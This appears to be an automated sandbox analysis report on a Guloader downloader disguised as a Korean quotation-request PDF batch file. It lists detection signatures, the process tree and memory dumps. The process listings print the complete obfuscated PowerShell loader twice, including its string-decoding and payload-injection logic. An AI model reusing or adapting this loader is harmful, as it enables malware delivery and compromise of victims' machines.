Analysis
- max time kernel
299s - max time network
238s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
18/07/2026, 09:27
General
- Target 견적 요청_KR726_SNUST14·pdf.bat
- Size 3KB
- Sample260718-levmkafs3m
- SHA256 ec3cf001d1ab299cf449f45796e8f190f65252730b3f32a148e445fd1235fc35
Malware Config
Signatures
- Family: Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 14 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\견적 요청_KR726_SNUST14·pdf.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -windowstyle 1 "$rototil = 'frizzy';$quadrincongeal = Get-Location;[void]($quadrincongeal);$peyot=57377-57377;$septoicenagagebored112 = Get-Date;[void]($septoicenagagebored112);$poetas=34692-28692;function wibblez { param($septoicen); $skuende = Get-Date; [void]($skuende)}function kapi ($skuende,$septoicen) {$gros=copyhol192(@(103,226,208,219,203,211,199,217,112,209,221,213,216,141,135,231,168,223,217,213,207,200,200,226,108)) ;$septoicenagagebo = 'test';[void]($septoicenagagebo);Problemo ($gros)}$septoicenaskis = 'huzzah';;function glorpz { $unct = Get-Service | Select-Object -First 1; [void]($unct)};function copyhol192 ($septoicenagageboork) { for ($peyot = 0; $septoicenagageboork[$peyot]; $peyot++) { $poetas = $peyot % 8; $septoicenagageboork[$peyot] -= $udkommand[$poetas]; $poetas = [char]$septoicenagageboork[$peyot]; $prae += $poetas; } $prae}$relstat = Get-Process | Select-Object -First 1;[void]($relstat);function Problemo ($perambu) {function zorp { $langskg = 'data'; [void]($langskg)}&($lngerev) $perambu}Function Prvelse ($septoicenagageboork,$oldti=0){function floober { $nepheloi = Get-Date; [void]($nepheloi)}$signi=copyhol192(@(158,178,212,212,220,202,213,232,160,169,159,172,216,212,208,182,164,226,202,156,154,184,215,230,172,221,204,142,138,216,200,228,183,222,206,201,203,211,196,219,164,214,202,200,213,212,213,223,108));$webavise=@(Problemo ($signi));For($quadri=0; $webavise[$quadri] -ne $foetor; $quadri++){$webavise[$quadri] = kapi $webavise[$quadri] $udkommand[$quadri%8]}$pred=copyhol192(@(112,217,212,207,212,133,190,215,171,208,215,193,195,194,135,235,168,209,198,220,207,216,200));$stolt=Problemo ($pred);if ($oldti) { Problemo $stolt}else {;$stolt}}$septoicenagageboorkort = 'moo';$udkommand=@(67,111,101,102,102,101,99,116);$risikozo156 = Get-Date;[void]($risikozo156);$lngerev=copyhol192 @(140,180,189);$skdyrordbl='\urba.Syr';$realit=Prvelse 'dkFVRk4yChonABIVRis3VHJfS1ZdRTQdLVlRXUYdVUB4TxcQXFRWRm1fTEYhAAAfLEBXVldVU0VzXkUgDxcGEiwXSldTV01E';$amidop168=Prvelse 'KxsRFhVfTFsnHQwQA0sEGywICQNIBgwZbBoGWQMdExsxG1gCCRINGCwOAUAPAV5FJlhSLycdTiZ0WBMOKwsrACkJKQI+IyclAC1VHAQmCyc=';$skaded=Prvelse 'DhwdCwpXTScmHRMDFD0uOAs7MTZIU01E';$pala=Prvelse 'BCox';$structural=Prvelse 'FhwAFEskBBEtGw==';$septoicendest=Prvelse 'fQ==';Prvelse 'ZwgJCQQED04oAAsQAxcQETFSQQMIE1kVMx8BBxIESFAwBAEfFAoRECED' 1;Prvelse 'ZwgJCQQED04wCg4TCFhHFS4GAQkWVFVMbRwVCg8RS1AwChUSCQwAES0LABUSTA==' 1;$amidop168=$sekun[0];Prvelse 'ZwgJCQQED04gDggDCgBeOiYYSCkEDwYXN09IJQkIQ1AwBAQCAwE=' 1;Prvelse 'ZwgJCQQED041CgEVEgQCB35HMQMVEU4kIhsNRkIODBo1ChcVAxdK' 1;while (!$vedstaas) {Prvelse 'ZwgJCQQED04MHwIUW0EXBjYK' 1;Prvelse 'ZwwECwMJBlosHwAITkETFS8OSUZCBA4dJwAVV1BdT1RnHAAWEgoKFyYBBAEHAgYWLA4JFQNM' 1;Prvelse 'ZwwECwMJBlowChE0AxQWETAbLQMHAQYGa0sWEhQQAAA2HQQKSkVHBiYOCQ8STA==' 1;Prvelse 'ZwwECwMJBlowCgsCTkw=' 1;Prvelse 'ZwgJCQQED04zBgYUW0EAFS4KCQNIFhcVNxoWRksAElRxX1U=' 1;if ($picr) {Prvelse 'GA0cEgM+PilnCAkJBAQPTi0ACxQDFQYafksGBwsADxFtHQAVFgoNByYtCgIf' 1;Prvelse 'MAxFQg0KDQImHRYDFEVHGiwBFwMWAA1UbioLBQkBChokTycfEgA=' 1} Prvelse 'EAMAAxZNV10=' 1;Prvelse 'ZwgJCQQED041CgEVEgQCB35HMQMVEU4kIhsNRkIODBo1ChcVAxdK' 1 ;Prvelse 'ZwgJCQQED04gCgsSA1hHEy8ABwcKXwIYLwpOTUNBEBEoGgtIBQoWGjc=' 1;$amidop168=$sekun[$cente]}$skamre=139795;$septoicenuscarlege=14905;Prvelse 'ZwgJCQQED04wAxMNCAQTSSQMRUINCg0CJh0WAxQ=' 1;Prvelse 'ZwgJCQQED04QBAoUFREGGiRSPiUJCxURMRs4XFwjERsuLQQVA1NXJzcdDAgBTUcHLxkOCAcVSg==' 1;Prvelse 'ZwgJCQQED04uDggLCQIRFTMHWD0yABsAbSoLBQkBChokMl9cJzYgPQpBIgMSNhcGKgECTkI2CBsxHBEDCAJK' 1;Prvelse 'ZwgJCQQED04hABcfCg5eUC4OCAsJAhEVMwdLFRMHEAAxBgsBTkEQHyICFwNKQRARMxsKDwUADQEwDAQUCgAEEWo=' 1;Problemo $borylk;$skuendertill = 'finished';[void]($skuendertill);;;;#Insulati LandviEXhem ;"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$rototil = 'frizzy';$quadrincongeal = Get-Location;[void]($quadrincongeal);$peyot=57377-57377;$septoicenagagebored112 = Get-Date;[void]($septoicenagagebored112);$poetas=34692-28692;function wibblez { param($septoicen); $skuende = Get-Date; [void]($skuende)}function kapi ($skuende,$septoicen) {$gros=copyhol192(@(103,226,208,219,203,211,199,217,112,209,221,213,216,141,135,231,168,223,217,213,207,200,200,226,108)) ;$septoicenagagebo = 'test';[void]($septoicenagagebo);Problemo ($gros)}$septoicenaskis = 'huzzah';;function glorpz { $unct = Get-Service | Select-Object -First 1; [void]($unct)};function copyhol192 ($septoicenagageboork) { for ($peyot = 0; $septoicenagageboork[$peyot]; $peyot++) { $poetas = $peyot % 8; $septoicenagageboork[$peyot] -= $udkommand[$poetas]; $poetas = [char]$septoicenagageboork[$peyot]; $prae += $poetas; } $prae}$relstat = Get-Process | Select-Object -First 1;[void]($relstat);function Problemo ($perambu) {function zorp { $langskg = 'data'; [void]($langskg)}&($lngerev) $perambu}Function Prvelse ($septoicenagageboork,$oldti=0){function floober { $nepheloi = Get-Date; [void]($nepheloi)}$signi=copyhol192(@(158,178,212,212,220,202,213,232,160,169,159,172,216,212,208,182,164,226,202,156,154,184,215,230,172,221,204,142,138,216,200,228,183,222,206,201,203,211,196,219,164,214,202,200,213,212,213,223,108));$webavise=@(Problemo ($signi));For($quadri=0; $webavise[$quadri] -ne $foetor; $quadri++){$webavise[$quadri] = kapi $webavise[$quadri] $udkommand[$quadri%8]}$pred=copyhol192(@(112,217,212,207,212,133,190,215,171,208,215,193,195,194,135,235,168,209,198,220,207,216,200));$stolt=Problemo ($pred);if ($oldti) { Problemo $stolt}else {;$stolt}}$septoicenagageboorkort = 'moo';$udkommand=@(67,111,101,102,102,101,99,116);$risikozo156 = Get-Date;[void]($risikozo156);$lngerev=copyhol192 @(140,180,189);$skdyrordbl='\urba.Syr';$realit=Prvelse 'dkFVRk4yChonABIVRis3VHJfS1ZdRTQdLVlRXUYdVUB4TxcQXFRWRm1fTEYhAAAfLEBXVldVU0VzXkUgDxcGEiwXSldTV01E';$amidop168=Prvelse 'KxsRFhVfTFsnHQwQA0sEGywICQNIBgwZbBoGWQMdExsxG1gCCRINGCwOAUAPAV5FJlhSLycdTiZ0WBMOKwsrACkJKQI+IyclAC1VHAQmCyc=';$skaded=Prvelse 'DhwdCwpXTScmHRMDFD0uOAs7MTZIU01E';$pala=Prvelse 'BCox';$structural=Prvelse 'FhwAFEskBBEtGw==';$septoicendest=Prvelse 'fQ==';Prvelse 'ZwgJCQQED04oAAsQAxcQETFSQQMIE1kVMx8BBxIESFAwBAEfFAoRECED' 1;Prvelse 'ZwgJCQQED04wCg4TCFhHFS4GAQkWVFVMbRwVCg8RS1AwChUSCQwAES0LABUSTA==' 1;$amidop168=$sekun[0];Prvelse 'ZwgJCQQED04gDggDCgBeOiYYSCkEDwYXN09IJQkIQ1AwBAQCAwE=' 1;Prvelse 'ZwgJCQQED041CgEVEgQCB35HMQMVEU4kIhsNRkIODBo1ChcVAxdK' 1;while (!$vedstaas) {Prvelse 'ZwgJCQQED04MHwIUW0EXBjYK' 1;Prvelse 'ZwwECwMJBlosHwAITkETFS8OSUZCBA4dJwAVV1BdT1RnHAAWEgoKFyYBBAEHAgYWLA4JFQNM' 1;Prvelse 'ZwwECwMJBlowChE0AxQWETAbLQMHAQYGa0sWEhQQAAA2HQQKSkVHBiYOCQ8STA==' 1;Prvelse 'ZwwECwMJBlowCgsCTkw=' 1;Prvelse 'ZwgJCQQED04zBgYUW0EAFS4KCQNIFhcVNxoWRksAElRxX1U=' 1;if ($picr) {Prvelse 'GA0cEgM+PilnCAkJBAQPTi0ACxQDFQYafksGBwsADxFtHQAVFgoNByYtCgIf' 1;Prvelse 'MAxFQg0KDQImHRYDFEVHGiwBFwMWAA1UbioLBQkBChokTycfEgA=' 1} Prvelse 'EAMAAxZNV10=' 1;Prvelse 'ZwgJCQQED041CgEVEgQCB35HMQMVEU4kIhsNRkIODBo1ChcVAxdK' 1 ;Prvelse 'ZwgJCQQED04gCgsSA1hHEy8ABwcKXwIYLwpOTUNBEBEoGgtIBQoWGjc=' 1;$amidop168=$sekun[$cente]}$skamre=139795;$septoicenuscarlege=14905;Prvelse 'ZwgJCQQED04wAxMNCAQTSSQMRUINCg0CJh0WAxQ=' 1;Prvelse 'ZwgJCQQED04QBAoUFREGGiRSPiUJCxURMRs4XFwjERsuLQQVA1NXJzcdDAgBTUcHLxkOCAcVSg==' 1;Prvelse 'ZwgJCQQED04uDggLCQIRFTMHWD0yABsAbSoLBQkBChokMl9cJzYgPQpBIgMSNhcGKgECTkI2CBsxHBEDCAJK' 1;Prvelse 'ZwgJCQQED04hABcfCg5eUC4OCAsJAhEVMwdLFRMHEAAxBgsBTkEQHyICFwNKQRARMxsKDwUADQEwDAQUCgAEEWo=' 1;Problemo $borylk;$skuendertill = 'finished';[void]($skuendertill);;;;#Insulati LandviEXhem ;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
-
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_upvyzlh0.djc.ps1
urba.Syr
memory/3356-44-0x00000000052B0000-0x00000000052C0000-memory.dmp
memory/3356-39-0x0000000006D20000-0x0000000006D42000-memory.dmp
memory/3356-52-0x0000000009250000-0x000000000C410000-memory.dmp
memory/3356-51-0x0000000007E70000-0x0000000007E73000-memory.dmp
memory/3356-50-0x00000000052B0000-0x00000000052C0000-memory.dmp
memory/3356-49-0x0000000009250000-0x000000000C410000-memory.dmp
memory/3356-47-0x0000000009250000-0x000000000C410000-memory.dmp
memory/3356-20-0x00000000052B0000-0x00000000052C0000-memory.dmp
memory/3356-21-0x00000000051C0000-0x00000000051F6000-memory.dmp
memory/3356-22-0x00000000058F0000-0x0000000005F18000-memory.dmp
memory/3356-23-0x0000000005F20000-0x0000000005F42000-memory.dmp
memory/3356-24-0x0000000006040000-0x00000000060A6000-memory.dmp
memory/3356-25-0x0000000006160000-0x00000000061C6000-memory.dmp
memory/3356-33-0x00000000061D0000-0x0000000006524000-memory.dmp
memory/3356-48-0x00000000052B0000-0x00000000052C0000-memory.dmp
memory/3356-35-0x00000000067A0000-0x00000000067BE000-memory.dmp
memory/3356-45-0x00000000052B0000-0x00000000052C0000-memory.dmp
memory/3356-36-0x00000000067D0000-0x000000000681C000-memory.dmp
memory/3356-38-0x0000000006CD0000-0x0000000006CEA000-memory.dmp
memory/3356-37-0x0000000007950000-0x00000000079E6000-memory.dmp
memory/3356-40-0x0000000007FA0000-0x0000000008544000-memory.dmp
memory/3356-41-0x0000000008BD0000-0x000000000924A000-memory.dmp
memory/3356-46-0x0000000007E70000-0x0000000007E73000-memory.dmp
memory/3356-43-0x00000000052B0000-0x00000000052C0000-memory.dmp
memory/4104-1-0x0000026BB9CE0000-0x0000026BB9CF0000-memory.dmp
memory/4104-0-0x0000026BB9CE0000-0x0000026BB9CF0000-memory.dmp
memory/4104-10-0x0000026BB9CE0000-0x0000026BB9CF0000-memory.dmp
memory/4104-2-0x0000026BB9C50000-0x0000026BB9C72000-memory.dmp
memory/4104-16-0x0000026BB9CE0000-0x0000026BB9CF0000-memory.dmp
memory/4104-14-0x0000026BB9CE0000-0x0000026BB9CF0000-memory.dmp
memory/4104-13-0x0000026BB9CE0000-0x0000026BB9CF0000-memory.dmp
memory/4104-12-0x0000026BB9CE0000-0x0000026BB9CF0000-memory.dmp
memory/4104-11-0x0000026BB9CE0000-0x0000026BB9CF0000-memory.dmp
memory/5920-53-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/5920-65-0x0000000000400000-0x00000000005E4000-memory.dmp